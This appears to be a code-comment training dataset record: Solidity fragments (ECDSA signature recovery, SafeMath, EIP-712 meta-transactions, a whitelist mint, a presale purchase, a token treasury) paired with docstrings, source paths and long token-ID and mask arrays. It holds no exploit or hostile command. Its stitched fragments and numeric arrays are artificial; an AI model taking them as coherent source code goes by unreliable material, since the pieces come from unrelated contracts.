return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract ContextMixin {
function msgSender()
internal
view
returns (address payable sender)
{
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = payable(msg.sender);
}
return sender;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol";
import {EIP712Base} from "./EIP712Base.sol";
contract NativeMetaTransaction is EIP712Base {
using SafeMath for uint256;
bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(bytes("MetaTransaction(uint256 nonce,address from,bytes functionSignature)"));
event MetaTransactionExecuted(
address userAddress,
address payable relayerAddress,
bytes functionSignature
);
mapping(address => uint256) nonces;
/*
* Meta transaction structure.
* No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
* He should call the desired function directly in that case.
*/
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
// increase nonce for user (to avoid re-use)
nonces[userAddress] = nonces[userAddress].add(1);
emit MetaTransactionExecuted(
userAddress,
payable(msg.sender),
functionSignature
);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(
address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return
signer ==
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Initializable.sol";
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string constant public ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contracts that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(
string memory name
)
internal
initializer
{
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\\x19" makes the encoding deterministic
* "\\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
} | @notice Purchase a token as white lister. @param _max The max amount the person minting is allow to mint. @param _signature The signature proving that the user is on the whitelist and the values haven't been altered. @param _mintAmount The amount the person minting has requested to mint. | function purchaseWhiteList(uint256 _max, bytes calldata _signature, uint256 _mintAmount)
external
payable
nonReentrant
isNotPaused
mintAmountGreaterThanZero(_mintAmount)
DoesntExceedLimit(_mintAmount)
{
require(isWhiteList, "Is in public mode");
require(!(_mintAmount + mintBalances[msg.sender] > _max), "You have exceeded your mint whitelist allocation");
require(checkWhitelist(_max, _signature), "Invalid whitelist signature");
_doMint(_mintAmount, WHITELIST_COST);
}
| 10,419,562 | [
1,
23164,
279,
1147,
487,
9578,
666,
264,
18,
225,
389,
1896,
1021,
943,
3844,
326,
6175,
312,
474,
310,
353,
1699,
358,
312,
474,
18,
225,
389,
8195,
1021,
3372,
450,
6282,
716,
326,
729,
353,
603,
326,
10734,
471,
326,
924,
15032,
1404,
2118,
22349,
18,
225,
389,
81,
474,
6275,
1021,
3844,
326,
6175,
312,
474,
310,
711,
3764,
358,
312,
474,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
23701,
13407,
682,
12,
11890,
5034,
389,
1896,
16,
1731,
745,
892,
389,
8195,
16,
2254,
5034,
389,
81,
474,
6275,
13,
7010,
3639,
3903,
7010,
3639,
8843,
429,
7010,
3639,
1661,
426,
8230,
970,
203,
3639,
8827,
28590,
203,
3639,
312,
474,
6275,
28130,
7170,
24899,
81,
474,
6275,
13,
203,
3639,
9637,
496,
424,
5288,
3039,
24899,
81,
474,
6275,
13,
203,
565,
288,
203,
3639,
2583,
12,
291,
13407,
682,
16,
315,
2520,
316,
1071,
1965,
8863,
203,
3639,
2583,
12,
5,
24899,
81,
474,
6275,
397,
312,
474,
38,
26488,
63,
3576,
18,
15330,
65,
405,
389,
1896,
3631,
315,
6225,
1240,
12428,
3433,
312,
474,
10734,
13481,
8863,
203,
3639,
2583,
12,
1893,
18927,
24899,
1896,
16,
389,
8195,
3631,
225,
315,
1941,
10734,
3372,
8863,
203,
3639,
389,
2896,
49,
474,
24899,
81,
474,
6275,
16,
24353,
7085,
67,
28343,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/10/0x603B31bBE692aDCD522E280019F72b7919d6167c/sources/contracts/common/Types.sol | * @notice Swap information about a specific pair performedSwaps: How many swaps have been executed nextAmountToSwap: How much of "from" token will be swapped on the next swap nextToNextAmountToSwap: How much of "from" token will be swapped on the nextToNext swap lastSwappedAt: Timestamp of the last swap/ | struct SwapData {
uint256 performedSwaps;
uint256 nextAmountToSwap;
uint256 nextToNextAmountToSwap;
uint256 lastSwappedAt;
}
| 3,783,665 | [
1,
12521,
1779,
2973,
279,
2923,
3082,
9591,
6050,
6679,
30,
9017,
4906,
1352,
6679,
1240,
2118,
7120,
1024,
6275,
774,
12521,
30,
9017,
9816,
434,
315,
2080,
6,
1147,
903,
506,
7720,
1845,
603,
326,
1024,
7720,
1024,
774,
2134,
6275,
774,
12521,
30,
9017,
9816,
434,
315,
2080,
6,
1147,
903,
506,
7720,
1845,
603,
326,
1024,
774,
2134,
7720,
1142,
12521,
1845,
861,
30,
8159,
434,
326,
1142,
7720,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1697,
12738,
751,
288,
203,
565,
2254,
5034,
9591,
6050,
6679,
31,
203,
565,
2254,
5034,
1024,
6275,
774,
12521,
31,
203,
565,
2254,
5034,
1024,
774,
2134,
6275,
774,
12521,
31,
203,
565,
2254,
5034,
1142,
12521,
1845,
861,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0x2FE97a791D03B193966F8E7c1F216C020fb6c45A/sources/contracts/ETH/PresaleV1.sol | * @dev To buy into a presale using USDT @param amount No of tokens to buy/ | function buyWithUSDT(uint256 amount) external checkSaleState(amount) whenNotPaused returns (bool) {
uint256 usdPrice = calculatePrice(amount);
totalTokensSold += amount;
if (checkPoint != 0) checkPoint += amount;
uint256 total = totalTokensSold > checkPoint ? totalTokensSold : checkPoint;
if (total > rounds[0][currentStep] || block.timestamp >= rounds[2][currentStep]) {
if (block.timestamp >= rounds[2][currentStep]) {
checkPoint = rounds[0][currentStep] + amount;
if (dynamicTimeFlag) {
manageTimeDiff();
}
}
uint256 unsoldTokens = total > rounds[0][currentStep] ? 0 : rounds[0][currentStep] - total;
remainingTokensTracker.push(unsoldTokens);
currentStep += 1;
}
userDeposits[_msgSender()] += (amount * baseDecimals);
usdRaised += usdPrice;
uint256 ourAllowance = USDTInterface.allowance(_msgSender(), address(this));
uint256 price = usdPrice / (10 ** 12);
require(price <= ourAllowance, 'Make sure to add enough allowance');
(bool success, ) = address(USDTInterface).call(abi.encodeWithSignature('transferFrom(address,address,uint256)', _msgSender(), paymentWallet, price));
require(success, 'Token payment failed');
emit TokensBought(_msgSender(), amount, address(USDTInterface), price, usdPrice, block.timestamp);
return true;
}
| 7,091,722 | [
1,
774,
30143,
1368,
279,
4075,
5349,
1450,
11836,
9081,
225,
3844,
2631,
434,
2430,
358,
30143,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
30143,
1190,
3378,
9081,
12,
11890,
5034,
3844,
13,
3903,
866,
30746,
1119,
12,
8949,
13,
1347,
1248,
28590,
1135,
261,
6430,
13,
288,
203,
565,
2254,
5034,
584,
72,
5147,
273,
4604,
5147,
12,
8949,
1769,
203,
565,
2078,
5157,
55,
1673,
1011,
3844,
31,
203,
565,
309,
261,
1893,
2148,
480,
374,
13,
866,
2148,
1011,
3844,
31,
203,
565,
2254,
5034,
2078,
273,
2078,
5157,
55,
1673,
405,
866,
2148,
692,
2078,
5157,
55,
1673,
294,
866,
2148,
31,
203,
565,
309,
261,
4963,
405,
21196,
63,
20,
6362,
2972,
4160,
65,
747,
1203,
18,
5508,
1545,
21196,
63,
22,
6362,
2972,
4160,
5717,
288,
203,
1377,
309,
261,
2629,
18,
5508,
1545,
21196,
63,
22,
6362,
2972,
4160,
5717,
288,
203,
3639,
866,
2148,
273,
21196,
63,
20,
6362,
2972,
4160,
65,
397,
3844,
31,
203,
3639,
309,
261,
14507,
950,
4678,
13,
288,
203,
1850,
10680,
950,
5938,
5621,
203,
3639,
289,
203,
1377,
289,
203,
1377,
2254,
5034,
16804,
1673,
5157,
273,
2078,
405,
21196,
63,
20,
6362,
2972,
4160,
65,
692,
374,
294,
21196,
63,
20,
6362,
2972,
4160,
65,
300,
2078,
31,
203,
1377,
4463,
5157,
8135,
18,
6206,
12,
27595,
1673,
5157,
1769,
203,
1377,
783,
4160,
1011,
404,
31,
203,
565,
289,
203,
565,
729,
758,
917,
1282,
63,
67,
3576,
12021,
1435,
65,
1011,
261,
8949,
380,
1026,
31809,
1769,
203,
565,
584,
72,
12649,
5918,
1011,
584,
72,
5147,
31,
203,
565,
2254,
5034,
3134,
7009,
1359,
273,
11836,
9081,
2
]
|
pragma solidity ^0.5.16;
import "./IERC20.sol";
import "./SafeERC20.sol";
/**
* @title KineTreasury stores the Kine tokens.
* @author Kine
*/
contract KineTreasury {
using SafeERC20 for IERC20;
// @notice Emitted when pendingAdmin is changed
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
// @notice Emitted when pendingAdmin is accepted, which means admin is updated
event NewAdmin(address oldAdmin, address newAdmin);
// @notice Emitted when Kine transferred
event TransferKine(address indexed target, uint amount);
// @notice Emitted when Erc20 transferred
event TransferErc20(address indexed erc20, address indexed target, uint amount);
// @notice Emitted when Ehter transferred
event TransferEther(address indexed target, uint amount);
// @notice Emitted when Ehter recieved
event ReceiveEther(uint amount);
// @notice Emitted when Kine changed
event NewKine(address oldKine, address newKine);
address public admin;
address public pendingAdmin;
IERC20 public kine;
modifier onlyAdmin() {
require(msg.sender == admin, "only admin can call");
_;
}
constructor(address admin_, address kine_) public {
admin = admin_;
kine = IERC20(kine_);
}
// @notice Only admin can transfer kine
function transferKine(address target, uint amount) external onlyAdmin {
// check balance;
uint balance = kine.balanceOf(address(this));
require(balance >= amount, "not enough kine balance");
// transfer kine
kine.safeTransfer(target, amount);
emit TransferKine(target, amount);
}
// @notice Only admin can call
function transferErc20(address erc20Addr, address target, uint amount) external onlyAdmin {
// check balance;
IERC20 erc20 = IERC20(erc20Addr);
uint balance = erc20.balanceOf(address(this));
require(balance >= amount, "not enough erc20 balance");
// transfer token
erc20.safeTransfer(target, amount);
emit TransferErc20(erc20Addr, target, amount);
}
// @notice Only admin can call
function transferEther(address payable target, uint amount) external onlyAdmin {
// check balance;
require(address(this).balance >= amount, "not enough ether balance");
// transfer ether
require(target.send(amount), "transfer failed");
emit TransferEther(target, amount);
}
// only admin can set kine
function _setkine(address newKine) external onlyAdmin {
address oldKine = address(kine);
kine = IERC20(newKine);
emit NewKine(oldKine, newKine);
}
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
*/
function _setPendingAdmin(address newPendingAdmin) external onlyAdmin {
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
*/
function _acceptAdmin() external {
require(msg.sender == pendingAdmin && msg.sender != address(0), "unauthorized");
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
}
// allow to recieve ether
function() external payable {
if(msg.value > 0) {
emit ReceiveEther(msg.value);
}
}
} | allow to recieve ether | function() external payable {
if(msg.value > 0) {
emit ReceiveEther(msg.value);
}
}
| 926,570 | [
1,
5965,
358,
1950,
21271,
225,
2437,
2,
